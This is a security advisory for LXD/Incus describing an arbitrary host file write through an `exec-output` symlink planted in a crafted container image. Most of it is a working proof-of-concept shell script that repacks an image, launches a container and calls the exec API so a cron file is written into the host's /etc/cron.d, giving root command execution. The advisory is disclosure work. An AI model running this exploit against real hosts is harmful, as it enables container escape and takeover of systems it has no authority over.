GHSA-9j25-mm2h-2f76 LXD has arbitrary file write on host via `exec-output` symlink in crafted image

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

Summary

The record-output parameter of the /instances/$name/exec endpoint
stores the output of the command in the exec-output directory of the
instance. If exec-output is a symlink, file named exec_UUID.stdout
and exec_UUID.stderr can be written to an arbitrary location where
the .stdout file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.

Details

When an image is unpacked, top-level symlinks are extracted as is;
allowing for exec-output to be placed on disk. In instance_exec.go,
os.Mkdir continues of exec-output exists and os.OpenFile follows
the exec-output symlink.

PoC

Below, we place the exec_UUID.stdout file in /etc/cron.d on
the host for arbitrary command execution.

#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp="${1}"

die() {
        printf '%s' "${@}" >&2
        exit 1
}

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d)
cleanup() {
        rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP


# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output


# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip

OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
  -X POST -H 'Content-Type: application/json' \
  -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
  "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null

#find /etc/cron.d/exec_* -exec cat {} \;

Impact

Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.